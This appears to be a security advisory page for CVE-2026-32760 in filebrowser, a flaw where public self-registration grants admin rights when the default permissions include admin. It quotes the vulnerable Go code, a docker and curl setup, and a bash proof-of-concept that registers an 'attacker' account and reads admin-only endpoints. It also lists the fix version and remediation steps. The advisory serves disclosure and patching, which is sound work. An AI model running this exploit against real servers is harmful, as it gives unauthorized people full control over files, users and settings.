CVE-2026-32760 — filebrowser
Fix: filebrowser/filebrowser@a63573bCVE-2026-32760 is a Improper Privilege Management vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.
File Browser Self Registration Grants Any User Admin Access When Default Permissions Include Admin
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32760.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.
Details
Affected file: http/auth.go
Vulnerable code:
user := &users.User{
Username: info.Username,
}
d.settings.Defaults.Apply(user)
settings.UserDefaults.Apply (settings/defaults.go):
func (d *UserDefaults) Apply(u *users.User) {
u.Perm = d.Perm
...
}
Settings API permits Admin in defaults (http/settings.go):
var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
...
d.settings.Defaults = req.Defaults
...
})
The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.
Demo Server Setup
docker run -d --name fb-test \
-p 8080:80 \
-v /tmp/fb-data:/srv \
filebrowser/filebrowser:v2.31.2
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}')
curl -s -X PUT http://localhost:8080/api/settings \
-H "X-Auth: $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"signup": true,
"defaults": {
"perm": {
"admin": true,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
}
}
}'
PoC Exploit
#!/bin/bash
TARGET="http://localhost:8080"
echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"
echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.
Impact
Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can:
- List, read, modify, and delete every file on the server
- Create, modify, and delete all other users
- Change authentication method and server settings
- Execute arbitrary commands if enableExec = true
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.62.0go get github.com/filebrowser/filebrowser/v2@v2.62.0 |
Affected Products
filebrowserfilebrowserDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.62.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32760 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2026-32760 in your dependencies?
Find it across Go, including transitive dependencies.